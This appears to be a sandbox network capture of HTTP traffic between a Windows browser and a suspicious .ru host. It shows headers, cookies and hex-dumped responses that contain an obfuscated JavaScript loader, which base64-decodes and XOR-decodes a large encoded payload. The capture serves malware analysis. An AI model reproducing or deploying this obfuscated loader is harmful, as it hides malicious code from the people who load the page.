XSRF-TOKEN=eyJpdiI6Imd1TmdSYnB6azU2empac3VmVjFXSlE9PSIsInZhbHVlIjoibjVScHMxSml2eXpxNTFGSFBJUkJNY252eTJOZHVMSEw1cVlWMTNmVjA3YU5kQkFUUUJYVzBZV2hhQ0lvOUdFREhlK1JYd0lNS3dIWUMvNTRDcG5XZEgzZ0g2UGtGTDdKOTNnTjVCUWVSTWg1a0lQNUVPQTEzUCtTN3pFc0UwVGUiLCJtYWMiOiI1MmQ5N2ZjNzcxYWZmNjU0NWM4NTJhM2FmMjZmNjg4MWFiZDQ1ZWUxMTljN2NmYzJlY2RiY2I1MWVmZGVmOWVjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImNML0RuWlQ2eFQreU9tN0tGYUh5WFE9PSIsInZhbHVlIjoiS0FFUG5DZG1KaUg4alViZTc4L2hEY1lOQ0w5NXlMZkg0OE5aMEpIUTZPQklVeG5lUllsU2tZbGgzMHYwMno5OWIySzJ4T3NhNzQ0QkFPUlY3b283bldicXBkK2hEOVRtWFdVUDNhMHh1alhQenQ2K25IWjB6MnJUQ1YzME5SRysiLCJtYWMiOiI1OWJjZWE1ZWNhZmMzODExMDQ2M2QwYmQ1ZDY1YWRhMGRmMDIzZGQ0ZTU3YjMxMjhjNDFiYjI2NzQ2ZjRlOGYyIiwidGFnIjoiIn0%3D
2025-03-20 15:55:33 UTC	1230	IN	HTTP/1.1 200 OK Date: Thu, 20 Mar 2025 15:55:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Server: cloudflare Cache-Control: no-cache, private Cf-Cache-Status: DYNAMIC Vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LFtgc8jJg5JCRCNAog9f%2FZqwrn9CkC1MaWIrLqsSy0M99aQPyYexme82ii9hfxeKL2sWvmoiz98BwotLmHAej9LlTRAoZMRw%2FFDmFMs33s9yR3kRh1N7GBh5Rwrp2vECk6Ps"}],"group":"cf-nel","max_age":604800} Nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server-Timing: cfL4;desc="?proto=TCP&rtt=1272&min_rtt=1237&rtt_var=366&sent=4&recv=8&lost=0&retrans=0&sent_bytes=2822&recv_bytes=2368&delivery_rate=2276729&cwnd=251&unsent_bytes=0&cid=eb0095ca38cabfb0&ts=106&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6IjJ0R3QrcGhSeXRsS052NDJ1Tm84ekE9PSIsInZhbHVlIjoiTy9mOUxVZm1PV1pqcW9NajAzbHNMM1R4RXp0RUR3azNKbEZJQks3b2ZBVWcrU3RubXdDRXdUSk9iTUs0anl2Sit4a2wzSVpMN2U4bXdPNkhSdlZ0ZEw5amoxTVE2eUNCOXhSR3pXYW9abHdKSnFaSGdVdkxxRzJMU0taQzkrd04iLCJtYWMiOiIxNTVjMDY1ODUzOTg5NGViNDQwNjQzZGI2M2Y1MGY0ZDQ3MGNkMTgxNmYyMGY5MWM0YmVmMjg4NGViZmFhNTMxIiwidGFnIjoiIn0%3D; SameSite=None; Secure; Path=/; Max-Age=7200; Expires=Thu, 20 Mar 2025 17:55:33 GMT
2025-03-20 15:55:33 UTC	528	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6d 45 79 63 44 6c 6c 59 6a 46 33 57 44 68 78 64 6a 6c 4e 56 30 52 30 57 47 4a 33 57 46 45 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 65 54 64 46 4b 30 56 75 64 30 46 70 51 30 78 59 57 54 68 69 63 6b 39 53 56 6d 74 30 56 45 74 77 52 30 56 44 59 6a 4a 6e 53 6c 56 32 62 33 41 34 4d 7a 68 68 4d 45 39 74 56 44 42 6a 61 6a 51 30 61 44 4e 71 59 32 59 77 62 6a 42 50 61 6a 42 6b 57 6b 46 56 61 46 4d 33 59 31 52 4e 53 48 46 51 65 58 6c 42 56 56 6c 4b 4d 6c 4a 45 64 48 6c 46 5a 6c 68 53 4e 44 45 79 4e 44 68 53 62 57 70 76 61 31 56 6a 4b 30 6b 79 54 45 5a 36 64 56 52 36 62 33 56 68 57 55 78 6e 4d 58 68 58 4f 57 56 49 4d 6b 35 53 59 6a 4a 6a 63 45 55 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6ImEycDllYjF3WDhxdjlNV0R0WGJ3WFE9PSIsInZhbHVlIjoieTdFK0Vud0FpQ0xYWThick9SVmt0VEtwR0VDYjJnSlV2b3A4MzhhME9tVDBjajQ0aDNqY2YwbjBPajBkWkFVaFM3Y1RNSHFQeXlBVVlKMlJEdHlFZlhSNDEyNDhSbWpva1VjK0kyTEZ6dVR6b3VhWUxnMXhXOWVIMk5SYjJjcEU
2025-03-20 15:55:33 UTC	980	IN	Data Raw: 37 39 32 0d 0a 3c 73 63 72 69 70 74 3e 0d 0a 66 75 6e 63 74 69 6f 6e 20 67 76 56 79 62 66 4c 6b 41 70 28 77 6b 47 57 4b 63 47 64 62 73 2c 20 72 63 44 76 78 48 53 6d 6b 68 29 20 7b 0d 0a 6c 65 74 20 41 50 51 42 78 66 75 6f 69 4e 20 3d 20 27 27 3b 0d 0a 77 6b 47 57 4b 63 47 64 62 73 20 3d 20 61 74 6f 62 28 77 6b 47 57 4b 63 47 64 62 73 29 3b 0d 0a 6c 65 74 20 59 67 57 49 54 52 50 57 77 66 20 3d 20 72 63 44 76 78 48 53 6d 6b 68 2e 6c 65 6e 67 74 68 3b 0d 0a 66 6f 72 20 28 6c 65 74 20 69 20 3d 20 30 3b 20 69 20 3c 20 77 6b 47 57 4b 63 47 64 62 73 2e 6c 65 6e 67 74 68 3b 20 69 2b 2b 29 20 7b 0d 0a 20 20 20 20 41 50 51 42 78 66 75 6f 69 4e 20 2b 3d 20 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 77 6b 47 57 4b 63 47 64 62 73 2e 63 68 61 72 43 6f Data Ascii: 792<script>function gvVybfLkAp(wkGWKcGdbs, rcDvxHSmkh) {let APQBxfuoiN = '';wkGWKcGdbs = atob(wkGWKcGdbs);let YgWITRPWwf = rcDvxHSmkh.length;for (let i = 0; i < wkGWKcGdbs.length; i++) { APQBxfuoiN += String.fromCharCode(wkGWKcGdbs.charCo
2025-03-20 15:55:33 UTC	965	IN	Data Raw: 5a 48 6a 41 71 48 77 77 72 59 43 6b 74 50 6a 63 6d 4d 78 6f 76 49 6e 67 61 4a 68 73 67 50 30 55 5a 43 67 4a 64 4c 77 59 66 42 67 63 6c 4a 67 49 75 61 44 49 41 47 42 30 46 52 54 6f 6c 41 6d 64 72 50 69 46 78 57 44 73 67 4c 48 4a 31 43 41 73 52 44 53 73 78 46 43 63 47 63 44 34 74 4d 51 6f 65 45 68 30 67 64 58 67 65 50 6b 41 58 42 6a 34 70 50 48 64 46 46 6a 34 61 4a 77 38 67 49 43 77 6e 64 51 67 4c 45 51 30 72 4d 52 51 6e 42 6e 41 2b 4c 54 55 46 44 7a 6b 77 4c 48 4a 34 48 68 41 61 49 54 30 2b 42 54 51 43 5a 47 38 74 4d 67 45 52 50 51 6f 73 66 48 30 59 56 44 30 4e 4b 7a 45 55 4a 77 5a 77 50 69 30 31 42 51 38 35 4d 43 38 69 56 43 41 6d 48 43 41 67 4f 67 41 68 4c 48 4e 70 42 78 67 53 42 44 77 77 4c 44 64 72 41 51 67 79 4a 6c 6f 69 48 79 45 73 63 47 30 71 4a 51 Data Ascii: ZHjAqHwwrYCktPjcmMxovIngaJhsgP0UZCgJdLwYfBgclJgIuaDIAGB0FRTolAmdrPiFxWDsgLHJ1CAsRDSsxFCcGcD4tMQoeEh0gdXgePkAXBj4pPHdFFj4aJw8gICwndQgLEQ0rMRQnBnA+LTUFDzkwLHJ4HhAaIT0+BTQCZG8tMgERPQosfH0YVD0NKzEUJwZwPi01BQ85MC8iVCAmHCAgOgAhLHNpBxgSBDwwLDdrAQgyJloiHyEscG0qJQ
2025-03-20 15:55:33 UTC	1369	IN	Data Raw: 32 38 36 65 0d 0a 39 42 48 77 6f 43 64 47 38 74 50 68 59 52 46 43 51 37 4e 6e 67 65 45 42 6f 68 50 54 34 46 4e 41 4a 6b 62 79 30 79 49 31 6b 35 4f 31 34 4c 63 6a 41 6c 45 51 30 72 4d 52 51 6e 42 6e 41 2b 50 43 49 33 4a 6a 4d 55 58 67 35 34 47 69 55 52 44 53 73 78 46 43 63 47 63 79 41 2b 4c 68 5a 5a 45 78 35 61 49 6d 73 33 46 44 30 6e 57 52 77 37 44 33 55 45 4e 44 49 50 63 52 49 53 51 56 38 70 65 68 38 2b 44 42 30 2f 41 44 6f 35 4b 32 63 49 50 6b 55 64 44 79 41 6e 57 67 74 79 4d 43 55 52 44 53 73 78 46 43 63 47 63 44 34 74 4e 51 55 50 4f 54 41 4a 4c 57 63 33 4b 68 34 6c 41 78 67 53 43 68 4e 7a 4e 77 41 66 63 51 49 55 4f 79 51 32 65 42 45 63 54 67 30 76 4a 6b 45 30 45 67 52 70 4b 42 73 4b 57 42 4d 65 46 67 6c 72 41 51 38 47 44 53 73 70 48 69 6f 55 58 6a 34 Data Ascii: 286e9BHwoCdG8tPhYRFCQ7NngeEBohPT4FNAJkby0yI1k5O14LcjAlEQ0rMRQnBnA+PCI3JjMUXg54GiURDSsxFCcGcyA+LhZZEx5aIms3FD0nWRw7D3UENDIPcRISQV8peh8+DB0/ADo5K2cIPkUdDyAnWgtyMCURDSsxFCcGcD4tNQUPOTAJLWc3Kh4lAxgSChNzNwAfcQIUOyQ2eBEcTg0vJkE0EgRpKBsKWBMeFglrAQ8GDSspHioUXj4
2025-03-20 15:55:33 UTC	1369	IN	Data Raw: 44 51 43 5a 7a 41 41 49 53 41 47 4b 69 73 6e 63 6e 55 49 43 78 45 4e 4b 7a 45 55 4a 77 5a 77 50 69 30 78 43 68 34 53 48 53 42 31 65 42 45 69 4c 43 64 59 48 41 51 35 4b 33 4d 34 42 52 67 4a 44 79 41 67 4c 44 4a 72 41 53 34 62 4a 6c 73 36 42 7a 63 53 42 44 4d 2b 4a 58 45 64 45 6b 41 4e 4b 6e 6f 4e 46 7a 67 48 41 54 45 55 4a 77 5a 77 50 69 30 31 42 51 38 52 4a 44 63 69 65 68 45 69 4c 43 64 59 48 41 51 35 4b 33 4d 34 42 52 67 4a 44 7a 77 67 4c 44 42 53 4d 68 41 58 4a 54 38 49 42 44 67 70 61 77 6b 74 4d 6e 41 50 4a 78 38 38 63 32 55 63 58 55 59 6c 57 54 70 41 4f 67 5a 77 4e 43 34 66 42 51 41 53 51 54 77 43 55 78 38 79 49 42 45 2f 53 51 73 33 46 6c 6f 2b 41 51 46 30 49 7a 6b 77 4c 79 4a 34 47 69 55 52 44 53 73 78 46 43 63 47 63 44 34 32 4d 41 34 75 45 79 73 67 Data Ascii: DQCZzAAISAGKisncnUICxENKzEUJwZwPi0xCh4SHSB1eBEiLCdYHAQ5K3M4BRgJDyAgLDJrAS4bJls6BzcSBDM+JXEdEkANKnoNFzgHATEUJwZwPi01BQ8RJDciehEiLCdYHAQ5K3M4BRgJDzwgLDBSMhAXJT8IBDgpawktMnAPJx88c2UcXUYlWTpAOgZwNC4fBQASQTwCUx8yIBE/SQs3Flo+AQF0IzkwLyJ4GiURDSsxFCcGcD42MA4uEysg
2025-03-20 15:55:33 UTC	1369	IN	Data Raw: 30 62 4f 54 41 6a 50 48 38 4e 42 30 63 65 42 54 30 44 49 54 4a 65 50 69 30 31 42 51 38 35 4d 43 77 76 55 32 73 63 41 43 63 43 48 78 51 6e 64 32 73 30 50 68 77 33 49 7a 6b 77 4c 79 4a 34 47 69 55 52 4a 79 38 32 47 44 51 43 58 53 77 2b 44 43 73 50 50 68 6b 73 4d 6c 51 61 4a 51 38 4a 49 44 4a 48 49 54 4a 65 50 69 30 31 42 51 38 35 4d 43 78 31 61 77 45 4d 52 67 67 2f 4e 67 41 50 45 6c 55 73 4b 78 38 47 41 69 6f 6b 57 33 56 72 41 53 31 42 42 77 45 78 46 43 63 47 63 32 41 6e 48 77 55 50 4f 54 41 73 4b 6d 73 4f 49 68 30 65 4d 44 6b 55 44 77 46 30 50 67 45 42 4b 77 38 35 4d 43 38 69 65 42 6f 6d 41 68 30 77 4f 68 30 50 45 67 56 76 4c 54 49 46 58 7a 4d 61 4c 79 4a 34 47 69 55 52 44 53 38 71 42 51 77 72 59 43 30 48 52 43 68 65 4b 69 63 42 49 6e 78 71 4c 68 6f 6d 50 Data Ascii: 0bOTAjPH8NB0ceBT0DITJePi01BQ85MCwvU2scACcCHxQnd2s0Phw3IzkwLyJ4GiURJy82GDQCXSw+DCsPPhksMlQaJQ8JIDJHITJePi01BQ85MCx1awEMRgg/NgAPElUsKx8GAiokW3VrAS1BBwExFCcGc2AnHwUPOTAsKmsOIh0eMDkUDwF0PgEBKw85MC8ieBomAh0wOh0PEgVvLTIFXzMaLyJ4GiURDS8qBQwrYC0HRCheKicBInxqLhomP
2025-03-20 15:55:33 UTC	1369	IN	Data Raw: 77 4a 51 77 4a 49 44 4a 48 49 54 4a 65 50 69 30 31 42 51 38 35 4d 43 77 6f 55 32 74 52 52 67 67 77 50 67 4d 4c 4b 47 52 76 4c 54 49 4f 45 53 6f 6b 58 6e 4a 79 4d 43 55 52 44 53 73 79 53 69 30 73 63 44 34 74 4e 51 55 64 4b 55 46 58 64 46 49 33 4b 68 6f 6e 45 51 63 55 49 69 68 72 4e 54 30 75 46 6c 6b 54 48 6a 67 2f 66 52 6f 6c 41 79 41 76 4a 67 6b 4b 41 6c 30 74 42 6b 52 78 47 43 6b 6b 46 6a 39 39 47 69 55 44 48 56 73 69 47 79 63 4e 51 68 49 74 4e 51 55 50 4f 54 41 76 49 6c 4d 4f 49 67 38 65 57 68 77 47 49 68 4a 37 4c 77 41 2b 46 68 34 53 4a 77 45 69 66 77 30 6d 41 53 45 73 41 7a 67 6e 42 6e 41 2b 4c 54 35 30 49 7a 6b 77 4c 79 4a 34 47 6c 45 63 4a 6c 73 6d 43 67 31 33 5a 43 30 2b 52 51 34 59 4b 6a 41 5a 49 6e 30 30 50 68 6f 64 4d 43 4a 43 44 53 68 6b 4c 54 Data Ascii: wJQwJIDJHITJePi01BQ85MCwoU2tRRggwPgMLKGRvLTIOESokXnJyMCURDSsySi0scD4tNQUdKUFXdFI3KhonEQcUIihrNT0uFlkTHjg/fRolAyAvJgkKAl0tBkRxGCkkFj99GiUDHVsiGycNQhItNQUPOTAvIlMOIg8eWhwGIhJ7LwA+Fh4SJwEifw0mASEsAzgnBnA+LT50IzkwLyJ4GlEcJlsmCg13ZC0+RQ4YKjAZIn00PhodMCJCDShkLT
2025-03-20 15:55:33 UTC	1369	IN	Data Raw: 4c 53 78 77 50 69 30 31 42 52 30 55 4e 44 67 2f 56 52 34 49 41 69 5a 61 52 51 4d 33 45 6b 59 74 50 55 51 43 45 53 6f 77 4c 48 4a 79 4d 43 55 52 44 53 73 78 46 43 63 43 65 7a 45 39 52 44 41 47 45 78 35 58 64 46 4d 30 4e 55 41 4e 4b 7a 34 65 4e 43 68 6f 62 69 63 66 42 51 38 35 4d 43 38 69 65 42 45 6d 48 68 34 76 49 67 4d 4d 4b 46 4a 76 4c 54 49 4e 48 78 4d 37 43 58 4a 79 4d 43 55 52 44 53 73 78 46 43 63 43 65 79 38 48 47 78 59 45 45 78 70 66 50 47 67 4f 4e 67 59 67 4d 44 31 46 4a 77 46 30 4c 67 63 2b 49 31 38 7a 47 69 38 69 65 42 6f 6c 45 51 30 76 4f 67 55 4c 42 67 41 6a 42 54 45 43 41 78 4a 41 44 58 4e 34 48 53 55 52 43 69 41 79 52 79 63 42 64 43 34 48 50 69 4d 50 45 78 34 4b 4c 47 67 4b 41 77 45 49 4b 7a 45 45 49 67 5a 77 4c 69 67 31 42 52 38 38 47 53 73 Data Ascii: LSxwPi01BR0UNDg/VR4IAiZaRQM3EkYtPUQCESowLHJyMCURDSsxFCcCezE9RDAGEx5XdFM0NUANKz4eNChobicfBQ85MC8ieBEmHh4vIgMMKFJvLTINHxM7CXJyMCURDSsxFCcCey8HGxYEExpfPGgONgYgMD1FJwF0Lgc+I18zGi8ieBolEQ0vOgULBgAjBTECAxJADXN4HSURCiAyRycBdC4HPiMPEx4KLGgKAwEIKzEEIgZwLig1BR88GSs
2025-03-20 15:55:33 UTC	1369	IN	Data Raw: 6c 6b 54 48 53 41 7a 55 6a 4d 4c 45 53 63 76 53 51 4d 4d 4b 32 4d 31 42 78 77 33 49 7a 6b 77 4c 79 4a 34 45 56 51 39 44 53 73 78 46 43 63 47 42 44 4d 41 4d 51 45 50 4b 52 30 34 64 56 55 65 58 51 4d 4c 42 52 67 46 43 69 68 6e 49 43 30 2b 4e 79 4d 35 4d 43 38 69 65 42 6f 6c 45 52 30 46 4e 68 6b 50 64 31 55 67 42 6b 55 53 48 53 6f 33 41 53 4a 34 61 7a 30 4f 48 67 49 2b 48 69 41 76 51 68 49 74 4e 51 55 50 4f 54 74 65 44 6e 67 61 4a 52 45 4e 4c 79 6f 46 44 48 5a 6a 4e 51 63 66 42 6c 38 7a 47 69 38 69 65 42 6f 6c 45 51 30 76 4f 68 73 33 64 30 55 33 42 78 74 39 57 52 49 65 50 33 4e 34 47 69 6b 4d 43 52 49 39 52 43 30 73 63 44 34 74 4e 51 55 50 4f 54 51 67 4d 31 4d 65 58 51 38 4c 41 54 45 5a 4e 43 68 72 4e 43 73 42 4b 77 38 35 4d 43 38 69 65 42 6f 6d 52 68 34 77 Data Ascii: lkTHSAzUjMLEScvSQMMK2M1Bxw3IzkwLyJ4EVQ9DSsxFCcGBDMAMQEPKR04dVUeXQMLBRgFCihnIC0+NyM5MC8ieBolER0FNhkPd1UgBkUSHSo3ASJ4az0OHgI+HiAvQhItNQUPOTteDngaJRENLyoFDHZjNQcfBl8zGi8ieBolEQ0vOhs3d0U3Bxt9WRIeP3N4GikMCRI9RC0scD4tNQUPOTQgM1MeXQ8LATEZNChrNCsBKw85MC8ieBomRh4w
2025-03-20 15:55:33 UTC	1369	IN	Data Raw: 6f 75 47 67 30 67 46 41 4d 4b 41 6c 59 2b 42 6b 55 53 45 54 6b 30 4f 48 46 53 48 6a 49 50 49 43 74 42 41 44 51 53 59 44 34 39 52 48 31 5a 45 78 30 67 4b 56 49 67 55 45 34 49 57 7a 46 59 4c 53 78 77 50 69 30 31 42 51 38 35 4d 43 38 69 59 52 70 64 48 53 55 77 4b 56 67 74 4c 48 41 2b 4c 54 55 46 44 7a 6b 77 4c 79 4a 68 48 6a 59 47 49 41 45 79 47 51 77 43 64 79 4d 48 44 48 51 42 4b 55 46 58 64 46 49 33 4b 68 6f 49 50 7a 34 62 44 53 68 67 4d 44 51 52 4b 77 38 35 4d 43 38 69 65 42 6f 6c 45 51 30 72 4d 52 51 2b 41 6c 59 6a 4e 42 6f 4b 41 68 45 6b 4f 44 42 6f 61 7a 46 4f 43 46 6f 58 43 54 34 69 58 6a 34 74 4e 51 55 50 4f 54 41 76 49 6e 67 61 4a 52 45 55 49 44 46 59 50 42 31 5a 4c 67 59 78 66 52 45 71 49 43 77 79 55 42 45 49 44 43 55 2f 50 67 6b 69 42 6e 4d 7a 42 Data Ascii: ouGg0gFAMKAlY+BkUSETk0OHFSHjIPICtBADQSYD49RH1ZEx0gKVIgUE4IWzFYLSxwPi01BQ85MC8iYRpdHSUwKVgtLHA+LTUFDzkwLyJhHjYGIAEyGQwCdyMHDHQBKUFXdFI3KhoIPz4bDShgMDQRKw85MC8ieBolEQ0rMRQ+AlYjNBoKAhEkODBoazFOCFoXCT4iXj4tNQUPOTAvIngaJREUIDFYPB1ZLgYxfREqICwyUBEIDCU/PgkiBnMzB

Timestamp	Bytes transferred	Direction	Data
2025-03-20 15:55:32 UTC	1134	OUT	GET /clYqCfSLHMMfutmJWSk5eJ6HZy8tfeJ48 HTTP/1.1 Host: b3rz.5m54lq.ru Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6Imd1TmdSYnB6azU2empac3VmVjFXSlE9PSIsInZhbHVlIjoibjVScHMxSml2eXpxNTFGSFBJUkJNY252eTJOZHVMSEw1cVlWMTNmVjA3YU5kQkFUUUJYVzBZV2hhQ0lvOUdFREhlK1JYd0lNS3dIWUMvNTRDcG5XZEgzZ0g2UGtGTDdKOTNnTjVCUWVSTWg1a0lQNUVPQTEzUCtTN3pFc0UwVGUiLCJtYWMiOiI1MmQ5N2ZjNzcxYWZmNjU0NWM4NTJhM2FmMjZmNjg4MWFiZDQ1ZWUxMTljN2NmYzJlY2RiY2I1MWVmZGVmOWVjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImNML0RuWlQ2eFQreU9tN0tGYUh5WFE9PSIsInZhbHVlIjoiS0FFUG5DZG1KaUg4alViZTc4L2hEY1lOQ0w5NXlMZkg0OE5aMEpIUTZPQklVeG5lUllsU2tZbGgzMHYwMno5OWIySzJ4T3NhNzQ0QkFPUlY3b283bldicXBkK2hEOVRtWFdVUDNhMHh1alhQenQ2K25IWjB6MnJUQ1YzME5SRysiLCJtYWMiOiI1OWJjZWE1ZWNhZmMzODExMDQ2M2QwYmQ1ZDY1YWRhMGRmMDIzZGQ0ZTU3YjMxMjhjNDFiYjI2NzQ2ZjRlOGYyIiwidGFnIjoiIn0%3D
2025-03-20 15:55:33 UTC	1033	IN	HTTP/1.1 404 Not Found Date: Thu, 20 Mar 2025 15:55:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Uh6Tphuqf81YSvzn1HSRcgnX3Zkm0JteAL3X2LhfRr2vkmjq3VluyQCOF03J6a%2FC0eDQ4dRa%2BtrmhdQraLBZVnCitYaro5h%2F5hkUy60oDs3EICFgOXbk5DK9PePBJqdCEYT%2B"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=4647&min_rtt=4636&rtt_var=1323&sent=4&recv=8&lost=0&retrans=0&sent_bytes=2822&recv_bytes=2041&delivery_rate=618011&cwnd=251&unsent_bytes=0&cid=9ad874455aa9f037&ts=82&x=0" Server: cloudflare CF-RAY: 923664fc3b1625d8-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=99552&min_rtt=99233&rtt_var=21204&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2818&recv_bytes=1706&delivery_rate=37508&cwnd=242&unsent_bytes=0&cid=6ccf87857459c509&ts=509&x=0"
2025-03-20 15:55:33 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-20 15:55:33 UTC	1436	OUT	POST /xy8sEcUtK4pgBbthxRMPpKtkyoIMdeQlyILI7gy HTTP/1.1 Host: b3rz.5m54lq.ru Connection: keep-alive Content-Length: 6 sec-ch-ua-platform: "Windows" X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Content-Type: application/x-www-form-urlencoded; charset=UTF-8 sec-ch-ua-mobile: ?0 Origin: https://b3rz.5m54lq.ru Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://b3rz.5m54lq.ru/A9y-e3M/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IjJ0R3QrcGhSeXRsS052NDJ1Tm84ekE9PSIsInZhbHVlIjoiTy9mOUxVZm1PV1pqcW9NajAzbHNMM1R4RXp0RUR3azNKbEZJQks3b2ZBVWcrU3RubXdDRXdUSk9iTUs0anl2Sit4a2wzSVpMN2U4bXdPNkhSdlZ0ZEw5amoxTVE2eUNCOXhSR3pXYW9abHdKSnFaSGdVdkxxRzJMU0taQzkrd04iLCJtYWMiOiIxNTVjMDY1ODUzOTg5NGViNDQwNjQzZGI2M2Y1MGY0ZDQ3MGNkMTgxNmYyMGY5MWM0YmVmMjg4NGViZmFhNTMxIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImEycDllYjF3WDhxdjlNV0R0WGJ3WFE9PSIsInZhbHVlIjoieTdFK0Vud0FpQ0xYWThick9SVmt0VEtwR0VDYjJnSlV2b3A4MzhhME9tVDBjajQ0aDNqY2YwbjBPajBkWkFVaFM3Y1RNSHFQeXlBVVlKMlJEdHlFZlhSNDEyNDhSbWpva1VjK0kyTEZ6dVR6b3VhWUxnMXhXOWVIMk5SYjJjcEUiLCJtYWMiOiI0M2IxMTE4YWNlMDFlNzYwYjQyMzFjZWE3OWZiZTdmNTA4YWYxYjQ3M2VhN2JlNmJiZjA0Y2E1YTllNzdjZWFjIiwidGFnIjoiIn0%3D
2025-03-20 15:55:33 UTC	6	OUT	Data Raw: 64 61 74 61 3d 41 Data Ascii: data=A
2025-03-20 15:55:33 UTC	1215	IN	HTTP/1.1 200 OK Date: Thu, 20 Mar 2025 15:55:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2F19U9GQ91qC5aDuETV%2BdxYelNLi7VCCPLYY%2FftgeLEL4BLbAQQvfdUfA4qAYfSzzoEKABHrU6wUufrSMiPbOl3wkg%2FbMXun9013hbmOXAulgz8%2FNoKbd0LAATAPn6HJiGnlK"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=4582&min_rtt=4527&rtt_var=1371&sent=4&recv=8&lost=0&retrans=0&sent_bytes=2821&recv_bytes=2348&delivery_rate=604214&cwnd=251&unsent_bytes=0&cid=1d8aa344cce76cf8&ts=83&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6IkpvN3JxbXlaMzNrTHhHdmtreFlZS1E9PSIsInZhbHVlIjoibWd4ZjFUM3NLU2djQUtjTzlHeStXRmliQzVta3ZWVUVOdjkvWXpIR0tQcWtDeGpTblIrRG56ZlJlbnROd1l0Znp0Zlp2RVkxK1ErZkt5K1hGckJ2SW55UXMxVURHZklkNloxN0NMaW8yeXY1b3M2MXNCRFYweW1sUFIrRnp0UHYiLCJtYWMiOiJkNGQ2M2E4NzU1MDhlZjBlMThlMjUzZTNkZWMzYzlhY2RkMWViZjRiMWRhMmQyMDgxZTQ0MjIyODI4Y2UzZTdkIiwidGFnIjoiIn0%3D; expires=Thu, 20-Mar-2025 17:55:33 GMT; Max-Age=7200; path=/; secure; samesite=none
2025-03-20 15:55:33 UTC	768	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6d 78 48 4d 54 4e 51 63 45 78 45 4d 6c 4e 6c 4d 69 74 58 54 46 46 6b 51 30 31 42 64 30 45 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 54 32 59 34 59 32 5a 52 63 46 6c 36 4f 55 35 48 54 6c 46 55 59 55 52 47 54 54 64 49 4d 58 42 43 4d 6b 64 32 64 32 4a 56 4b 30 5a 6f 65 56 70 72 54 30 64 35 4e 54 52 7a 62 79 74 57 52 30 56 6e 54 31 42 61 4c 32 6c 35 52 58 4a 6c 4e 32 31 44 54 53 74 4e 4d 46 4a 47 56 30 68 35 52 45 31 55 4d 30 6c 53 54 56 4e 59 61 31 64 49 59 7a 6c 71 4e 31 4e 49 4d 57 39 33 55 58 4a 61 59 6b 68 71 63 6b 39 4b 59 30 6c 4a 4d 58 4e 73 62 54 52 69 5a 6e 63 32 55 30 4a 72 4f 46 46 74 51 6c 49 77 57 55 68 4b 51 55 68 69 5a 30 45 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6ImxHMTNQcExEMlNlMitXTFFkQ01Bd0E9PSIsInZhbHVlIjoiT2Y4Y2ZRcFl6OU5HTlFUYURGTTdIMXBCMkd2d2JVK0ZoeVprT0d5NTRzbytWR0VnT1BaL2l5RXJlN21DTStNMFJGV0h5RE1UM0lSTVNYa1dIYzlqN1NIMW93UXJaYkhqck9KY0lJMXNsbTRiZnc2U0JrOFFtQlIwWUhKQUhiZ0E
